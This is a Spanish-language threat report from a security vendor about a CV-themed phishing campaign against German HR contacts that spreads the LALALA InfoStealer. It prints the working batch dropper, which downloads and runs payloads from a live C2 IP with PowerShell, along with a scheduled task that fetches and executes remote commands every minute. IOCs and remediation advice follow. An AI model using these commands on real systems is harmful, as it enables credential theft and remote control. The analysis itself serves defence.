Resumen

El Security Lab de Hornetsecurity presenta los resultados basados en una larga campaña de robo de información. La campaña está funcionando prácticamente sin cambios desde el 22 de julio de 2019. Pero debido a la vida del malware «land scripting» utilizado en esta campaña, la detección de anti-virus del despliegue del script de robo de información se mantiene baja. La campaña utiliza un archivo de CV falso para dirigirse a las instituciones de lengua alemana utilizando direcciones de correo electrónico; que se encuentran como contactos de RR.HH. en las listas de trabajo de las instituciones objetivo. El análisis detallado de la segmentación destaca el riesgo de ingeniería social al que están expuestos los empleados de  muchas empresas de cara al público.

Antecedentes

Como ocurre muchas veces el ciberataque comienza con un correo electrónico:

Initial email

El idioma de los correos electrónicos es el alemán. Por lo tanto, la campaña se dirige a los destinatarios de habla alemana.

Una vez se abre el adjunto llamado lebenslauf (curriculum vitae en español) se revela:

CV LNK file camouflaged as JPEG file

Tras el lanzamiento, lo que parece ser un archivo de imagen, se presenta a la víctima como una imagen aparentemente rota titulada «Lebenslauf» (currículum vitae en español):

Fake broken CV decoy image

El archivo de imagen no está roto. El mensaje de error es parte de la imagen. En el fondo, un malware llamado LALALA InfoStealer de SonicWall [1] fue descargado y robó las credenciales de las víctimas.

Análisis técnico

El análisis técnico primero esbozará cada etapa de la cadena de infección que conduce al archivo de lote del LALALA InfoStealer que se está desplegando, como se muestra en el siguiente gráfico de flujo:

LALALA InfoStealer infection chain

Después de esbozar la cadena de infección, se proporciona información sobre el objetivo.

Correo electrónico

La cadena del ciberataque comienza con un correo electrónico. Se supone que está escrito en lengua alemana. Sin embargo, fue escrito por entidades que no están familiarizadas con la ortografía alemana. En lugar de usar el grafema alemán apropiado «ß» (Eszett) el correo electrónico usa la visualmente similar B del alfabeto latino. Además, falta la diéresis que se utiliza en las vocales alemanas. El correo electrónico utiliza la u en lugar de la ü. También faltan las mayúsculas  de «Lebenslauf» en el asunto del correo electrónico.

Initial email

Los correos electrónicos se envían desde direcciones de correo siguiendo este patrón: [firstname.]lastname@vodafonemail.de.

Se envían desde servidores legítimos de vodafonemail.de, por lo tanto, pasan los controles de SPF.

Se desconoce si las cuentas de envío se han visto comprometidas porque el registro de una dirección de correo electrónico de vodafonemail.de es gratuito y está disponible para el público en general. En total (en todas las oleadas) se han utilizado 44 correos electrónicos diferentes. 30 correos diferentes han sido utilizados en la última oleada de la campaña.

Archivo ISO

El archivo ISO adjunto contiene un archivo LNK. Windows monta automáticamente los archivos ISO y muestra su contenido en el explorador de archivos.

Archivo LNK

Los metadatos del archivo LNK (shell link) son los siguientes:

$ exiftool lebenslauf_2020_3_20.jpeg.lnk 
ExifTool Version Number         : 11.70
File Name                       : lebenslauf_2020_3_20.jpeg.lnk
[...]
Flags                           : IDList, LinkInfo, RelativePath, CommandArgs, IconFile, Unicode, ExpString, ExpIcon, TargetMetadata
File Attributes                 : Archive
Create Date                     : 2010:11:21 04:23:55+01:00
Access Date                     : 2010:11:21 04:23:55+01:00
Modify Date                     : 2010:11:21 04:23:55+01:00
Target File Size                : 345088
Icon Index                      : 16
Run Window                      : Show Minimized No Activate
Hot Key                         : (none)
Target File DOS Name            : cmd.exe
Drive Type                      : Fixed Disk
Volume Label                    : 
Local Base Path                 : C:\Windows\System32\cmd.exe
Relative Path                   : ..\..\..\..\..\..\Windows\System32\cmd.exe
Command Line Arguments          : /C "replace /a Lebenslauf_2020_3_20.jpeg.lnk "%temp%"&ren "%temp%\Lebenslauf_2020_3_20.jpeg.lnk" 977gh.bat &start "" /MIN "%TEMP%\977gh.bat"
Icon File Name                  : C:\Windows\System32\imageres.dll
Fill Attributes                 : 0x07
Popup Fill Attributes           : 0xf5
Screen Buffer Size              : 80 x 300
Window Size                     : 80 x 25
Window Origin                   : 0 x 0
Font Size                       : 8 x 12
Font Family                     : Modern
Font Weight                     : 400
Font Name                       : Terminal
Cursor Size                     : 25
Full Screen                     : No
Quick Edit                      : No
Insert Mode                     : Yes
Window Origin Auto              : Yes
History Buffer Size             : 50
Num History Buffers             : 4
Remove History Duplicates       : No

El ajuste de Icon filename to C:\Windows\System32\imageres.dll hace que el archivo LNK  muestre el icono del imageres.dll, que es un icono de imagen que Windows también  muestra, para los archivos de imagen para los que no se puede generar una vista previa. De esta manera el archivo LNK se camufla como un archivo JPEG para el usuario normal, especialmente cuando Windows está configurado para ocultar las extensiones de los archivos, en este caso el arrastre de .lnk del archivo con nombre lebenslauf_2020_3_20.jpeg.lnk :

CV LNK file camouflaged as JPEG file

Más adelante cuandor el archivo lebenslauf_2020_3_20.jpeg.lnk se lanza cmd.exe se llama como la lista anterior con el parámetroCommand Line. El Command Line contiene tres comandos encadenados:

  1. replace /a Lebenslauf_2020_3_20.jpeg.lnk "%temp%", que mueve el archivo Lebenslauf_2020_3_20.jpeg.lnk al %temp% directorio.
  2. ren "%temp%\Lebenslauf_2020_3_20.jpeg.lnk" 977gh.bat, que renombraLebenslauf_2020_3_20.jpeg.lnk977gh.bat.
  3. start "" /MIN "%TEMP%\977gh.bat", que lanza %TEMP%\977gh.bat se minimiza (/MIN parámetri) en una ventana, sin título ("" parámetro).

Esto significa lebenslauf_2020_3_20.jpeg.lnk se lanzó como un archivo de guión por lotes. Y de hecho, el archivo LNK tiene un script por lotes adjunto:

$ cat -v lebenslauf_2020_3_20.jpeg.lnk
[...]
-^?^@^@^@M-^?M-^?^@M-^?^@^@^@M-^?^@M-^?^@M-^?M-^?^@^@M-^?M-^?M-^?^@^@^@^@^@^M
^M
^M
@ECHO OFF^M
^M
^M
IF EXIST "%temp%\9o0.txt" (^M
"%temp%\lebenslauf_2020_3_20.jpeg"^M
echo mhjhjgjhgjh >"%temp%\977gh.bat"&& del /f /q "%temp%\977gh.bat"^M
EXIT^M
) ELSE (^M
echo 9o0>>"%temp%\9o0.txt"^M
powershell iwr -Uri "http://185.141.27.131/rar.exe"  -OutFile "%temp%\rar.exe"^M
powershell iwr -Uri "http://185.141.27.131/9o0.rar"  -OutFile "%temp%\9o0.rar"^M
"%temp%\rar.exe" e -y "%temp%\9o0.rar" "%temp%\"^M
"%temp%\lebenslauf_2020_3_20.jpeg"^M
powershell start-Process -FilePath "%temp%\9o0.bat" -WindowStyle hidden^M
echo hjhjgj >"%temp%\977gh.bat"&& del /f /q "%temp%\977gh.bat"^M
EXIT^M
)^M
EXIT^M
kjhjjyykyuyuyuiyuiyiu

El script primero verifica si %temp%\9o0.txt existe.

En caso de que no exista, se escribe 9a0 to %temp%\9o0.txt. Luego usa PowerShell para descargar rar.exe9o0.rar. rar.exe es una copia legítima y firmada de la utilidad RAR de la línea de mando de Alexander Roshal. El rar.exe se usa para extraer 9o0.rar. Contiene:

$ tree
.
|-- 9o0.bat
|-- lebenslauf_2020_3_20.jpeg
`-- sqlite3.exe

0 directories, 3 files

Luego, el script lanza %temp%\lebenslauf_2020_3_20.jpeg. Esto muestra la siguiente imagen:

Decoy image

Aunque la imagen parece estar corrupta e incluso muestra un error, funciona como se pretende, es decir, tanto el mensaje de error como la corrupción de la imagen son parte de la imagen.

Luego el LALALA InfoStealer, comienza la descarga 9o0.bat

En este caso el archivo %temp%\9o0.txt no existe, el script inicial se abre %temp%\lebenslauf_2020_3_20.jpeg y luego reescribe y elimina %temp%\977gh.bat, ejemplo, el script inicial se sobreescribe y se borra a sí mismo.

LALALA InfoStealer batch script (9o0.bat)

El ladrón del script tiene un total de 135 líneas de código con un total de 11390 caracteres:

$ wc 9o0.bat 
  135   616 11390 9o0.bat

Tiene mecanismos de robo de datos, exfiltración y persistencia.

Stealing

Primero, el cibercriminal usa PowerShell para consultar la lista de software instalado de las claves de registro HKLM:\Software\[Wow6432Node\]Microsoft\Windows\CurrentVersion\Uninstall\*. La información está escrita para"%temp%\gsgsd322\proglist.txt.

Después de eso, una combinación de comandos de PowerShell y de sqlite3.exe se usan para robar contraseñas, cookies, números de tarjetas de crédito, historial de Chrome, Firefox, Thunderbird, Windows WebCache (usado por Microsoft Edge), y Office (i.e. Outlook). Los datos se escriben en archivos almacenados en "%temp%\gsgsd322\.

Exfil

La información contiene por ejemplo:"%temp%\gsgsd322\, se archiva y previamente se descarga rar.exe en un archivo %RMZ%.rar (con`%RMZ% siendo una cadena aleatoria) contiene:

Users/
`-- admin
    `-- AppData
        `-- Local
            `-- Temp
                `-- gsgsd322
                    |-- card123456
                    |-- cert9.db
                    |-- cooki123456
                    |-- cookies.sqlite
                    |-- edg_waPIIzu3
                    |-- key4.db
                    |-- logins.json
                    |-- outloo_waPIIzu3
                    |-- pass123456
                    |-- places.sqlite
                    |-- proglist.txt
                    |-- waPIIzu3
                    `-- WebCacheV01.dat

5 directories, 13 files

El archivo anterior %RMZ%.rar se publica 185.141.27[.]131/9o0.php usando PowerShell.

Persistencia y C2

Programa una tarea que se ejecuta a cada minuto:

schtasks /create /tn "%RMZ%" /tr "wscript '%temp%\%RMZ%.vbs' 'powershell  Invoke-Expression -Command:(iwr -uri 185.141.27.131/gate990.php -method post -body '%RMZ%').content'" /sc MINUTE

La tarea usa un guión VBS  que ha sido creado previamente:

echo CreateObject("Wscript.Shell").Run "" ^& WScript.Arguments(0) ^& "", 0, False >"%temp%\%RMZ%.vbs"

La tarea, por lo tanto, descargará cada minuto comandos de  185.141.27[.]131/gate990.php para ejecutarlos.

Foco

Al día siguiente, a la última ola observada la siguió una ola mucho más pequeña:

Chronological volume of campaign

No hubo un cambio significativo en los receptores objetivo entre las dos ondas.

El idioma alemán de los correos electrónicos iniciales significa que la campaña apunta a Alemania. Esto se apoya además en el análisis de los países asociados a las empresas o entidades del destinatario (cuando se conocen) de la última ola trazada anteriormente:

Recipients by countriesLa investigación de la OSINT (Open Source Intelligence) reveló que la mayoría de las direcciones de correo electrónico de los destinatarios son o fueron listados como contactos de la empresa para puestos de trabajo. Los sectores industriales destinatarios (cuando se conocen) son:

Recipients by industry

La mayoría de los receptores se encuentran en el sector de los servicios profesionales. La evaluación manual indica que la mayoría está compuesta por agencias de empleo (temporal). El segundo sector en importancia es el sector sanitario. La evaluación manual indica que los receptores son en su mayoría residencias de ancianos e instalaciones de atención especial. Se desconoce si el sector sanitario fue objeto de una selección específica o si esta observación es sólo un reflejo de los puestos de trabajo disponibles en el mercado laboral alemán.

 

Actividad pasada

Esta cadena de infección específica se ha utilizado en ciberataques desde el 22 de julio de 2019. En ese momento usando «lebenslauf_2019_6_6.img.lnk» como nombre del archivo. Curiosamente, el asunto del correo solía estar correctamente en mayúsculas, pero se cambió  todas las minúsculas a principios de 2020:

Regression in German subject line capitalization

A partir de este histograma se pueden ver las ondas individuales de esta campaña. El texto del correo electrónico no cambió, aparte de añadir el error ortográfico en el asunto del correo. El cibercriminal  tampoco cambió, aparte de  las IPs C2, cambió los nombres de las variables. Por lo tanto, es bastante sorprendente que el principal script de lote del hacker aún tenga una detección de anti-virus muy baja:

 

Low anti-virus detection of LALALA InfoStealer batch file

Conclusión y reparación 

Los ciberataques que aprovechan las técnicas de «living off the land» mediante scripts, suponen un reto para las detecciones de antivirus. Por lo tanto, en un mundo en el que la detección del malware clásico – que se basa en binarios maliciosos – es cada vez mejor, el malware que utiliza las herramientas existentes en el ordenador de las víctimas a través de secuencias de comandos se hace cada vez más popular. Los ciberataques que utilizan un buen pretexto para su correo electrónico inicial, en este caso una solicitud de empleo que se envía a los destinatarios que realmente esperan solicitudes de empleo, aumenta las posibilidades de que el malware se ejecute con éxito. Combinando esto con la baja detección de anti-virus del script de robo de información, plantea un riesgo importante comprometer las credenciales para las empresas e instituciones.

La forma más sencilla de prevenir este vector de ataque específico es prohibir los archivos adjuntos específicos de los correos electrónicos. En este caso el formato ISO. A menos que su empresa se ocupe de esos archivos de medios de comunicación, el riesgo es mayor que el beneficio para tu empresa. Además, Microsoft Outlook puede ser configurado para no permitir que se abran archivos adjuntos maliciosos específicos. Y por último, pero no por ello menos importante, la ocultación de extensiones debe ser desactivada en el sistema operativo Windows. Esto evita que el malware se haga pasar por diferentes tipos de archivos al añadir una doble extensión, en este caso .jpeg.lnk, a los nombres de los archivos. De esta manera, un usuario alerta tiene la oportunidad de detectar el engaño de la extensión.

Para eliminar una infección con éxito no basta con deshabilitar la tarea programada por el cibercriminal. Esto no recuperará las credenciales de inicio de sesión robadas, y no elimina ningún otro malware que pueda haber sido descargado por la tarea programada por el cibercriminal. Los sistemas afectados deben ser desconectados inmediatamente de la red y someterse a un análisis forense antes de volver a conectarlos. De lo contrario, el posible malware de seguimiento que se haya caído podría seguir presente en el sistema y, en el peor de los casos, podría propagarse a otros ordenadores de la red. Por último, pero no menos importante, deben cambiarse todas las credenciales de inicio de sesión del usuario afectado y deben revisarse las actividades desde la infección hasta el cambio de credenciales.

El servicio de Spam and Malware Protection de Hornetsecurity, con las tasas de detección más altas del mercado, ya identificó los correos electrónicos de «LALALA InfoStealer» cuando aparecieron por primera vez a través de una firma de detección genérica.

Referencias

Indicadores de Compromiso (IOCs)

Hashes

SHA256Nombre del archivoDescripción
172b416f0574f6c9ba38de478faaf75781ea15b9ad67ebdaa1b9289487c71988lebenslauf_2020_3_20.isoMalicious ISO attachment
254f722e11b7de73b53fb82d48f89f69639194027f9fc7c3724a640e4ebbf712lebenslauf_2020_3_20.jpeg.lnkMalicious LNK file contained in ISO
8b147861060fd9d6d90066457c54773cb0fdc65b87c07d4defe7d3cbe389ed379o0.batLALALA InfoStealer
3bb2d6a27ed46b5b356673264f56b8575880dc45cbcb656da6df74d4a84e1779lebenslauf_2020_3_20.jpegCV decoy error image
2e162d331c2475e0ba39cea969e0473896d3ff5e88cc92605ff2e24da3920768sqlite3.exeSQLite3 binary (legitimate NON MALICIOUS)

URLs

  • hxxp[:]//185.141.27[.]131/rar.exe
  • hxxp[:]//185.141.27[.]131/9o0.rar
  • hxxp[:]//185.141.27[.]131/firstga990.php (POST computer name and domain)
  • hxxp[:]//185.141.27[.]131/9o0.php (POST credential RAR)
  • hxxp[:]//185.141.27[.]131/gate990.php (download follow up malware)

IPs

  • 185.141.27[.]131

Remitentes

  • [firstname.]lastname@vodafonemail.de

Asuntos

  • [Ll]ebenslauf